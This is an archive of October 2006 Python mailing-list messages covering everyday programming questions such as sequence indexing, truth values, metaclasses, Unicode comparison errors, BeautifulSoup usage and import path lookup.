> seraching for it but google says no..

I'm not sure, but I don't think so. The way I have to do it is use 
Thunderbird (or equivalent) and subscribe first to the "Gmane" account, 
then to the specific newsgroup. You also have to send posts to the 
mailing list address, not to the newsgroup name itself (these seem to 
get sent, but never appear), so it's kind of funky.


From gagsl-py at yahoo.com.ar  Sat Oct  7 04:27:16 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Sat, 07 Oct 2006 05:27:16 -0300
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160198110.064741.133700@k70g2000cwa.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061007042753.04273ab8@yahoo.com.ar>

At Saturday 7/10/2006 02:15, MonkeeSage wrote:

>On Oct 6, 8:23 pm, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> > if 2 in [1,2,3]: print "Use the same (in) operator"
> > elif 'E' in ('E','r','i','k'): print "Works for any sequence"
> > elif 'o' in 'hello': print "Even strings"
>
>This isn't really analogous is it? For "somedict.has_key(k)" or "k in
>somedict", you don't need to know the value of somedict[k] ahead of
>time. So you can avoid KeyError by asking if the key exists first
>before trying to get the value.

The meaning comes from the most common usage. For a list, you want to 
know if an object is contained in the list (not if an index is in 
range!). For a dictionary, you usually want to know if it maps 
anything to a given key (not if any key maps to that value!). These 
are the most common operations, and that's why they have the simple 
sintax "a in b". [BTW, usage of operator "in" as "key in dict" is 
rather new to Python; has_key() were the only way to test for key 
existence some time ago].

>Wouldn't that be more like this for
>lists (and other sequences):
>
>def has_index(seq, index):
>   try:
>     seq[index]
>     return True
>   except IndexError:
>     return False
>
>I've often wondered why there is no built-in method like that for
>sequence objects.

Because it's not needed at all: valid sequence indexes are *exactly* 
range(len(seq)). This is the basic point of being a sequence: when 
indexes are not contiguous, in fact you have a mapping, not a sequence.

>And also why not the equivalent of dict.get for other
>sequences:
>
>def get(seq, index, default=None):
>   if has_index(seq, index):
>     return seq[index]
>   else:
>     return default
>
>Seems useful...

Sometimes, maybe... But since you can write it efficientely in a few 
lines when needed, I don't see the need to put it into the core language.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From apardon at forel.vub.ac.be  Sat Oct 28 09:40:50 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 28 Oct 2006 13:40:50 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<pan.2006.10.28.07.28.05.110066@REMOVE.THIS.cybersource.com.au>
Message-ID: <slrnek6nf2.6q6.apardon@rcpc42.vub.ac.be>

On 2006-10-28, Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> wrote:
> On Fri, 27 Oct 2006 18:22:28 +0000, Antoon Pardon wrote:
>
>>>> And how do I express that a number has to be greater than
>>>> 100 into a Nothing vs Something dichotomy? Declare all
>>>> greater numbers as Something and the rest as Nothing?
>>>
>>> Well, would you declare numbers less than 100 False?
>> 
>> No but the condition: x > 100, will map all numbers to
>> either True or False. Can you provide a condition that will
>> provide a mapping to Nothing and Something? Without
>> artificially mapping False to Nothing and True to Something?
>
> A > B maps to max(0, A-B)
>
> or more verbosely, "Remove B items from A items, stopping when there are
> no more items to remove. What is left over? Something or Nothing?"

This mapping no longer works if you are not working with numbers.

>>> A = [1,2]     
>>> B = [3]
>>> A > B
False
>>> max(0, A - B)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: unsupported operand type(s) for -: 'list' and 'list'

-- 
Antoon Pardon


From hanumizzle at gmail.com  Fri Oct  6 02:50:36 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 02:50:36 -0400
Subject: help on pickle tool
In-Reply-To: <1160117030.646441.237070@i42g2000cwa.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>
	<mailman.1408.1160114785.10491.python-list@python.org>
	<1160115558.554509.292870@c28g2000cwb.googlegroups.com>
	<mailman.1411.1160116126.10491.python-list@python.org>
	<1160117030.646441.237070@i42g2000cwa.googlegroups.com>
Message-ID: <463ff4860610052350i4b250e07n56b8398644238864@mail.gmail.com>

On 5 Oct 2006 23:43:50 -0700, MonkeeSage <MonkeeSage at gmail.com> wrote:
>
>
> On Oct 6, 1:28 am, Fredrik Lundh <fred... at pythonware.com> wrote:
> > when did you last look at the spec?
>
> I'm fairly versed in JS objects, having written 10 or so extensions for
> firefox; but I've only used YAML for trivial tasks like config files.
> So I can't really say how they stack up in "the big picture". But from
> what I have seen, JSON is a simpler and easier to use format than YAML.

That and it sounds like Strongbad pronouncing the name 'Jason'.

-- Theerasak


From duncan.booth at invalid.invalid  Tue Oct 31 14:04:44 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 31 Oct 2006 19:04:44 GMT
Subject: Why can't you assign to a list in a loop without enumerate?
References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
Message-ID: <Xns986DC21D58AD2duncanbooth@127.0.0.1>

"Danny Colligan" <dannycolligan at gmail.com> wrote:

> In the following code snippet, I attempt to assign 10 to every index in
> the list a and fail because when I try to assign number to 10, number
> is a deep copy of the ith index (is this statement correct?).

No. There is no copying involved.

Before the assignment, number is a reference to the object to which the ith 
element of the list also refers. After the assignment you have rebound the 
variable 'number' so it refers to the value 10. You won't affect the list 
that way.

> My question is, what was the motivation for returning a deep copy of
> the value at the ith index inside a for loop instead of the value
> itself?

There is no copying going on. It returns the value itself, or at least a 
reference to it.

>  Also, is there any way to assign to a list in a for loop (with
> as little code as used above) without using enumerate?

a[:] = [10]*len(a)

or more usually something like:

a = [ fn(v) for v in a ]

for some suitable expression involving the value. N.B. This last form 
leaves the original list unchanged: if you really need to mutate it in 
place assign to a[:] as in the first example, but if you are changing all 
elements in the list then you usually want a new list.





From steve at holdenweb.com  Fri Oct 27 07:55:48 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 27 Oct 2006 12:55:48 +0100
Subject: question about True values
In-Reply-To: <slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<7x4ptsi544.fsf@ruckus.brouhaha.com>	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>	<7xvem8gq22.fsf@ruckus.brouhaha.com>	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>	<453FD3AF.4040800@v.loewis.de>	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>	<donn-4380C3.15593125102006@gnus01.u.washington.edu>	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>	<mailman.1264.1161861732.11739.python-list@python.org>	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>	<mailman.1341.1161943345.11739.python-list@python.org>	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
Message-ID: <ehss20$glf$2@sea.gmane.org>

Antoon Pardon wrote:
> On 2006-10-27, Fredrik Lundh <fredrik at pythonware.com> wrote:
> 
>>Antoon Pardon wrote:
>>
>>
>>>>since you never publish any code,
>>>
>>>This is not True. You shouldn't confuse your lack of recollection
>>>with reality.
>>
>>pointers, please.
> 
> 
> Sorry, the answer is no. I don't care whether you can locate my code
> or not or wish to believe me or not.
> 
... though I might have got more hits by spelling your name correctly :)

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From gagsl-py at yahoo.com.ar  Thu Oct 19 21:49:48 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 19 Oct 2006 22:49:48 -0300
Subject: Restricting import file lookup for pyd, dll, ...
In-Reply-To: <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.co
 m>
References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com>
	<7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar>
	<61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com>
Message-ID: <7.0.1.0.0.20061019224508.04d95958@yahoo.com.ar>

At Thursday 19/10/2006 22:38, Bernard Lebel wrote:

>That's because I'm using Python through another application, via the
>pywin32 extensions. When that other application starts, it performs
>several thousands of file requests (we're talking 4,500, roughly) in
>the Python installation, locations where there are Python files, and
>in some other locations that don't make sense. This adds considerable
>time to the startup time of the application, we're talking between 2
>and 9 seconds.
>
>This a problem with the application, not Python. But I'm looking for
>ways to minimize this overhead so the users of this application waste
>less time waiting after the startup.

Try to shorten the PYTHONPATH to the really required directories 
(deleting those locations "that don't make sense").


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From http  Wed Oct  4 05:12:16 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 02:12:16 -0700
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <7xwt7gqwb3.fsf@ruckus.brouhaha.com>

"LaundroMat" <Laundro at gmail.com> writes:
> def f(var=1):
> return var*2
> 
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..

I don't understand your question.  You can call f(var=1) just fine.


From mithrond at gmail.com  Sat Oct 14 10:07:11 2006
From: mithrond at gmail.com (mithrond at gmail.com)
Date: 14 Oct 2006 07:07:11 -0700
Subject: a odd thing of "from __future__ import ..."
Message-ID: <1160834831.366050.277760@i3g2000cwc.googlegroups.com>

i can't use "from __future__ import ..." statement import two
statesments in the same time.
for the simple code:
from __future__ import with_statement, division
with file('url.txt','r') as f:
    for line in f:
        print line

it can't run until i change the first sentence to below
from __future__ import with_statement
from __future__ import division

why? python2.5/windows.



From pavlovevidence at gmail.com  Wed Oct 18 17:00:17 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 18 Oct 2006 14:00:17 -0700
Subject: creating many similar properties
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
	<1161160057.392965.323330@m73g2000cwd.googlegroups.com>
	<1161160436.888246.21020@m73g2000cwd.googlegroups.com>
	<1161161181.169918.126210@b28g2000cwb.googlegroups.com>
	<1161163087.751082.225880@b28g2000cwb.googlegroups.com>
Message-ID: <1161205217.207005.22720@i42g2000cwa.googlegroups.com>

Michele Simionato wrote:
> Carl Banks wrote:
> > Come on, I don't think anyone's under the impression we're being
> > indiscriminate here.
>
> Ok, but I don't  think that in the case at hand we should recommend a
> metaclass
> solution.

You sound as if you're avoiding metaclasses just for the sake of
avoiding them, which is just as bad as using them for the sake of using
them.

Here's how I see it: either it's ok to fiddle with the class dict, or
it isn't.  If it's ok, then a metaclass is the way to do it.  If it's
not ok to fiddle with the class dict, then he should be using
__setattr__, or creating properties longhand.  Messing with frames is
not the answer for production code.

...

Just for the hell of it, I decided to accept your challenge to run the
standard library with a different metaclass applied to all new-style
classes.  I ran the 2.4.3 regression test, replacing the builtin object
with a class that used the mod256metaclass I presented in this thread.
The results:

229 tests OK.
34 tests failed:
    test___all__ test_asynchat test_cgi test_cookielib test_copy
    test_copy_reg test_cpickle test_decimal test_descr test_descrtut
    test_email test_email_codecs test_httplib test_imaplib
    test_inspect test_logging test_mailbox test_mimetools
    test_mimetypes test_minidom test_pickle test_pyclbr
    test_robotparser test_sax test_sets test_socket test_socket_ssl
    test_sundry test_timeout test_urllib test_urllib2 test_urllib2net
    test_urllibnet test_xpickle

Not A-OK, but not exactly mass-pandemonium either.  There were plenty
of modules used the the new base object and worked fine.

There were only two causes for failure:
1. A class attempting to use __weakref__ slot.
2. There were also a few metaclass conflicts.

IMO, neither of these failure modes argues against using a metaclass to
preprocess the class dict.  The __weakref__ error is not applicable;
since it's an error to use it on any class with an instance dict.  (In
fact, the metaclass wasn't even causing the error: the same error would
have occurred if I had replaced builtin object with an empty subclass
of itself, without the metaclass.)

The metaclass conflict would only occur in the present case only if
someone wanted to subclass it AND specify a different metaclass.
Arguing that metaclasses should be avoided just to guard against this
rare possibility is defensive to the extreme.

I did not uncover any kinds of subtle, unexpected behavior that can
occur when metaclasses do weird things.  I know such things are
possible; how likely they are is another question.  The tests I ran
didn't uncover any.  So for now, the results of these tests don't seem
to support your point very well.

Carl


Appendix: Here's how I ran the test.  I inserted the following code at
the top of Lib/test/regrtest.py, and
ran make test.  I ran the tests on the Python 2.4.3 source tree, in
Linux.

=======================
import sys

class mod256metatype(type):
    def __new__(metatype,name,bases,clsdict):
        print >> sys.__stdout__, \
              "++++++++ Creating class %s of type mod256metatype" %
name
        def makeprop(sym):
            prop = '_%s'  % sym
            def _set(self,v):
                setattr(self,prop,v%256)
            def _get(self):
                return getattr(self,prop)
            return property(_get,_set)
        for sym in clsdict.get('__mod256__',()):
            clsdict[sym] = makeprop(sym)
        return super(metatype
        return type.__new__(metatype,name,bases,clsdict)

class _object:
    __metaclass__ = mod256metatype

import __builtin__
__builtin__.object = _object
=======================



From fredrik at pythonware.com  Sun Oct  1 05:46:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 01 Oct 2006 11:46:22 +0200
Subject: Escapeism
In-Reply-To: <1159635727.840033.169540@m73g2000cwd.googlegroups.com>
References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com>	<slrnehsel7.o25.sybrenUSE@schuimige.stuvel.eu>
	<1159635727.840033.169540@m73g2000cwd.googlegroups.com>
Message-ID: <efo2ph$ag9$1@sea.gmane.org>

Kay Schluehr wrote:

> This yields the hexadecimal representation of the ASCII character and
> does not simply echo the keystrokes '\' and 'a' for '\a' ignoring the
> escape semantics. One way to achieve this naturally is by prefixing
> '\a' with r where r'\a' indicates a "raw" string. But unfortunately
> "rawrification" applies only to string literals and not to string
> objects ( such as c ). I consider creating a table consisting of pairs
> {'\0': r'\0','\1': r'\1',...}  i.e. a handcrafted mapping but maybe
> I've overlooked some simple function or trick that does the same for
> me.

if not else, you've missed that octal escapes consists of three digits, 
not one, so translating chr(1) to r"\1" doesn't work in the general case 
(e.g. len("\100") == 1, not 3)

</F>



From bj_666 at gmx.net  Fri Oct 20 04:45:05 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Fri, 20 Oct 2006 10:45:05 +0200
Subject: BeautifulSoup problem
References: <1161330895.808308.292910@i42g2000cwa.googlegroups.com>
Message-ID: <pan.2006.10.20.08.45.05.513778@gmx.net>

In <1161330895.808308.292910 at i42g2000cwa.googlegroups.com>, placid wrote:

> Hi all,
> 
> Just wondering if anyone knows how to get the text between the tags of
> the following Tag object? 
> 
> <span class="nametext">Hello</span>

Are you looking for a way to search for tag *and* attributes?  What about
this::

  In [12]: soup.find('span', {'class': 'nametext'}).contents
  Out[12]: [u'Hello']

Ciao,
	Marc 'BlackJack' Rintsch


From hg at nospam.com  Thu Oct 19 13:03:13 2006
From: hg at nospam.com (hg)
Date: Thu, 19 Oct 2006 12:03:13 -0500
Subject: Komodo
In-Reply-To: <12jfbr23dnmmpfa@corp.supernews.com>
References: <1161272868.051706.228320@h48g2000cwc.googlegroups.com>
	<12jfbr23dnmmpfa@corp.supernews.com>
Message-ID: <xnOZg.28438$Go3.25772@dukeread05>

Mark Elston wrote:
> * SpreadTooThin wrote (on 10/19/2006 8:47 AM):
>> Why is it that (On MAC OS X) in Komodo 3.5 Professional, if I try to
>> find something in my script,
>> I am unable to change the text it is searching for?
>>
> 
> Perhaps Emacs might work better ... :)
> 
> Mark

Can you suggest tools (.el) to add to emacs for large projects
management / browsing ?

Thanks,

hg


From steve at REMOVE.THIS.cybersource.com.au  Sun Oct  8 07:08:20 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 08 Oct 2006 21:08:20 +1000
Subject: Implementing a circular counter using property / descriptors?
References: <pan.2006.10.08.10.25.09.468491@yahoo.it>
Message-ID: <pan.2006.10.08.11.08.09.29909@REMOVE.THIS.cybersource.com.au>

On Sun, 08 Oct 2006 12:25:10 +0200, IloChab wrote:

> I'd like to implement an object that represents a circular counter, i.e.
> an integer that returns to zero when it goes over it's maxVal.

[snip]

> The python problem that I give you it's about style. 
> I'd like to write in my code something that looks almost like using an
> integer object.  
> 
> I mean, I'd like to write:
> 
> cnt = CircularConter(maxVal=100, initialVal=10) 
> cnt += 100     # cnt value is 9
> print cnt      # prints 9
> 100 > cnt      # is false

All this is perfectly sensible.

> cnt = 100      # cnt new value is 100 [NOT  rebind cnt with 100]

This is not possible. Names like cnt are just labels, they don't have
behaviour. Objects have behaviour; but objects don't and can't know what
name or names they are assigned to.

[snip]

> The fact is that I don't like to write cnt.set(100) or  
> cnt = CircularConter(100, 100) instead of cnt = 100. 

How do you expect the Python compiler to know you want a CircularConter
instance if you just write 100?

(By the way, in English, the correct spelling is counter, not conter.)

> So I thought that property or descriptors could be useful. 
> I was even glad to write:
> 
> cnt = CircularConterWithProperty(maxVal=100, initialVal=10) 
> cnt.val += 100
> print cnt.val
> 100 > cnt.val      # is false
> cnt.val = 100
> 
> just to give uniformity to counter accessing syntax. 
> But I wasn't able to implement nothing working with my __cmp__ method.

__cmp__ is for CoMParisons, not binding names to objects.


-- 
Steven.



From ebgssth at gmail.com  Thu Oct 12 05:35:58 2006
From: ebgssth at gmail.com (js )
Date: Thu, 12 Oct 2006 18:35:58 +0900
Subject: python's newbie question
In-Reply-To: <1160644525.605518.55840@e3g2000cwe.googlegroups.com>
References: <1160644525.605518.55840@e3g2000cwe.googlegroups.com>
Message-ID: <a23effaf0610120235j57a0f0efkeed94ed3b1c1f164@mail.gmail.com>

http://mail.python.org/pipermail/python-list/2004-May/221591.html

HTH


From zzf818 at gmail.com  Thu Oct 19 07:34:24 2006
From: zzf818 at gmail.com (kelin,zzf818@gmail.com)
Date: 19 Oct 2006 04:34:24 -0700
Subject: How to use python in TestMaker
In-Reply-To: <1161230033.664197.305060@b28g2000cwb.googlegroups.com>
References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com>
	<1161230033.664197.305060@b28g2000cwb.googlegroups.com>
Message-ID: <1161257664.640448.208970@k70g2000cwa.googlegroups.com>


Paddy wrote:
> kelin,zzf818 at gmail.com wrote:
> > Hello,
> >
> > Now I 'm learning python to do testing jobs, and want to use it in
> > TestMaker.
> > The problem is: I don't know how to use python in TestMaker.
> > Just write python program in it or call .py files in it?
> > I am really new about it and need some help.
> >
> > Thanks a lot!
> What/where is TestMaker?

Well, TestMaker is a tool to do testing jobs.
You can visit the following website for some info:
http://www.pushtotest.com/.



From apoelstra at false.site  Fri Oct 13 11:16:03 2006
From: apoelstra at false.site (Andrew Poelstra)
Date: Fri, 13 Oct 2006 15:16:03 GMT
Subject: Starting out.
In-Reply-To: <1160749619.514641.11870@k70g2000cwa.googlegroups.com>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160715256.698199.64540@h48g2000cwc.googlegroups.com>
	<1160749619.514641.11870@k70g2000cwa.googlegroups.com>
Message-ID: <1160752561.4515.1.camel@dsktp>

On Fri, 2006-10-13 at 07:26 -0700, Ahmer wrote:
> From what I can see Python and PHP have VERY simillar syntax (sorry if
> I offended anyone but I am a "n00b".)

Two things:
1) Don't toppost. Your response should go after or interspersed with
your quote, not above it.
2) You may be thinking of Perl, which has a very similar syntax to PHP.
In all the languages I've seen, Python is in a class of its own.

-- 
Andrew Poelstra  <http://www.wpsoftware.net/projects/>



From chris.cavalaria at free.fr  Tue Oct 10 10:47:44 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Tue, 10 Oct 2006 16:47:44 +0200
Subject: Dive Into Java?
In-Reply-To: <4p1ocsFge1f1U1@uni-berlin.de>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
	<4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de>
	<452b9ec5$0$30991$426a74cc@news.free.fr>
	<4p1ocsFge1f1U1@uni-berlin.de>
Message-ID: <452bb2a0$0$31353$426a74cc@news.free.fr>

Diez B. Roggisch a ?crit :
> Christophe wrote:
> 
>> Diez B. Roggisch a ?crit :
>>> The code _generated_ by the java compiler, and the C++ compiler, is not
>>> the issue here. If you as a programmer can write "a" + "b", its fine.
>>> Which is a thing to reach in C++, a bazillion of string-classes have been
>>> written....
>>>
>>>
>>> and in C++, you can do:
>>>
>>> char *a = "1";
>>> char *b = "2";
>>> char *c = a + b;
>>>
>>> But with a totally different, unexpected outcome.. I know where *I* start
>>> laughing here.
>> That code doesn't even compile. And you shouldn't be using the char*
>> compatibility strings in C++ if possible.
> 
> It was out of my head. I remember producing some wicked pointer arithmetic
> example of similar ridicule. 
> 
> And the whole argument is about java having a lot of design decisions that
> make it easier to work with is actually strengthened when you say that "you
> shouldn't use the char* ..." - because its not forbidden, and maybe someone
> else didn't follow that suggestion. I remember quite a few times calling
> the stl-string-to-char-function (no idea how that is called now)

Well, char* really is a compatibility feature in my mind. And it IS 
useful. How else would you interface C++ with existing C code and 
libraries :) That was the most probable reason you were using the STL to 
char* function.

Same for the const_cast. You shouldn't use it, but sometimes, you have 
to interface with a C api that takes a non const char* as paramter, 
despite the fact that it won't modify it in any way.


From brenNOSPAMbarn at NObrenSPAMbarn.net  Thu Oct 12 12:12:34 2006
From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke))
Date: Thu, 12 Oct 2006 16:12:34 GMT
Subject: operator overloading + - / * = etc...
References: <452a6a61$0$22844$426a74cc@news.free.fr>
	<mailman.144.1160432125.11739.python-list@python.org>
Message-ID: <Xns985A5DAA9B787OKB@199.45.49.11>

Terry Reedy wrote:

> Implementing a namespace as a Python object (ie, dict) is
> completely optional and implementation dependent.  For CPython, the
> local namespace of a function is generally *not* done that way.

    	Sure, but this is all just theoretical talk anyway, right?  I would 
like to see more control over the name-binding operation, and exposing 
the namespace as an object sounds like an interesting way to do this.

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From antroy at gmail.com  Sun Oct  8 15:53:23 2006
From: antroy at gmail.com (Ant)
Date: 8 Oct 2006 12:53:23 -0700
Subject: recommendations for personal journaling application
In-Reply-To: <1160330083.041100.127480@e3g2000cwe.googlegroups.com>
References: <1160330083.041100.127480@e3g2000cwe.googlegroups.com>
Message-ID: <1160337203.660986.52630@c28g2000cwb.googlegroups.com>


Donnie Rhodes wrote:
...
>
> Thank you all and I hope I'm not biting off too much at once...

Not if you break it up into pieces. Look at the things you want to do,
and in the first instance, create a function for each. Then you can
start to fill in the blanks, and if neccessary ask back here for advice
on each bit.

For example, your skeleton script may look something like:

def main():
    options = get_options()
    text = fetch_body()
    entry_data = parse_text(text, options)
    store_entry(entry_data)

def get_options():
    pass

def fetch_body()
    pass
...

if __name__ == "__main__":
    main()

Ideas for the various parts:

get_options() - getopt or optparse modules (the former is simpler to
start with);

fetch_body() - just read from sys.stdin (that way you can also pipe
text into it from a file or the output from another program as well);

parse_text() - regexes could suffice if the flags and what they are
supposed to do is simple, otherwise a grammar parsing module could be
useful such as pyparsing (http://pyparsing.wikispaces.com/);

store_entry() - I'd probably go with XML for the storage format if you
really want to store the entries in a single text file, as you can
structure it well, there are good tools in python 2.5 for building xml
(xml.etree.ElementTree) and you could implement a fast search engine
using SAX. Otherwise a database may be a better option (e.g. sqlite).



From robert.kern at gmail.com  Mon Oct  2 14:49:07 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 02 Oct 2006 13:49:07 -0500
Subject: zeta function for complex argument
In-Reply-To: <1159814082.483521.273730@m7g2000cwm.googlegroups.com>
References: <1159812557.819161.126440@m7g2000cwm.googlegroups.com>
	<1159814082.483521.273730@m7g2000cwm.googlegroups.com>
Message-ID: <efrmur$rdo$1@sea.gmane.org>

bearophileHUGS at lycos.com wrote:
> Alec.Edgington at blueyonder.co.uk wrote:
>> Quick question: I'm wondering if there is, Somewhere Out There, a
>> Python implementation of the Riemann zeta function for complex
>> argument...?
> 
> It seems that Scipy contaisn zeta too:
> http://www.rexx.com/~dkuhlman/scipy_course_01.html#special

But not for a complex argument.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From steve at holdenweb.com  Sat Oct 21 18:12:07 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 21 Oct 2006 23:12:07 +0100
Subject: silent processing with python+modpython+cheetah
In-Reply-To: <6559fb300610211025w202304c2hc2fabe26266e9f79@mail.gmail.com>
References: <6559fb300610211025w202304c2hc2fabe26266e9f79@mail.gmail.com>
Message-ID: <ehe5ug$acn$1@sea.gmane.org>

Sai Krishna M wrote:
> Hi,
> 
> I have been working for some time developing web pages using python,
> modpython, cheetah.
> I find that this method has come inherent difficulties in it like if
> we want to generate a single page we have to write two separate files
> ( py & tmpl).
> Is there any other better way of doing things.?
> 
> Also if we want to have partial processing of the pages, i.e, the
> value one chooses for a particular field determines the value to be
> entered for another field in the same page, how can it be done?
> 
> Thanks,
> Sai krishna.

http://wiki.python.org/moin/WebFrameworks

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From luc.saffre at gmail.com  Mon Oct 16 09:26:07 2006
From: luc.saffre at gmail.com (luc.saffre at gmail.com)
Date: 16 Oct 2006 06:26:07 -0700
Subject: comparing Unicode and string
Message-ID: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>

Hello,

here is something that surprises me.

  #coding: iso-8859-1
  s1=u"Frau M?ller machte gro?e Augen"
  s2="Frau M?ller machte gro?e Augen"
  if s1 == s2:
      pass

Running this code produces a UnicodeDecodeError:

Traceback (most recent call last):
  File "tmp.py", line 4, in ?
    if s1 == s2:
UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 6:
ordinal not in range(128)

I would have expected that "s1 == s2" gives True... or maybe False...
but raising an error here is unnecessary. I guess that the comparison
operator decides to convert s2 to a Unicode but forgets that I said
#coding: iso-8859-1 at the beginning of the file.

TIA for any comments.

Luc Saffre



From jUrner at arcor.de  Tue Oct 24 14:39:45 2006
From: jUrner at arcor.de (jUrner at arcor.de)
Date: 24 Oct 2006 11:39:45 -0700
Subject: The format of filename
In-Reply-To: <mailman.1078.1161703365.11739.python-list@python.org>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<ehl9i4$juu$1@sea.gmane.org>
	<mailman.1078.1161703365.11739.python-list@python.org>
Message-ID: <1161715184.960817.283840@e3g2000cwe.googlegroups.com>


Tim Chase wrote:

>
> C:\temp> REM try the same filename convention from dos prompt
> C:\temp> type subdir/test.txt
> The syntax of the command is incorrect.
> C:\temp> REM try with quotes, just in case...
> C:\temp> type "subdir/test.txt"
> The syntax of the command is incorrect.
> C:\temp> notepad subdir/test.txt
> C:\temp> REM correctly opened the text file in notepad
>
> Windows seems to doing the translation inconsistently (I know
> that comes as a shock...)
> 

Translation? win3.1 to win95 I guess.



From duane.kaufman at gmail.com  Mon Oct  9 12:47:53 2006
From: duane.kaufman at gmail.com (TheSeeker)
Date: 9 Oct 2006 09:47:53 -0700
Subject: intercepting keypresses, mouse movements, joystick movements.
In-Reply-To: <mailman.113.1160394876.11739.python-list@python.org>
References: <mailman.113.1160394876.11739.python-list@python.org>
Message-ID: <1160412473.376459.112060@m73g2000cwd.googlegroups.com>


bryan rasmussen wrote:
> Hi,
>
> I've been looking at autohotkey to do some different usability hacks
> for windows http://www.autohotkey.com/
> one of the benefits of this language is it allows one to catch
> keyboard usage, joystick usage, and mouse usage inputs very easily at
> a global level or at application levels by watching applications for
> events within the applications.
>
> I was wondering if there were any python libraries that provided
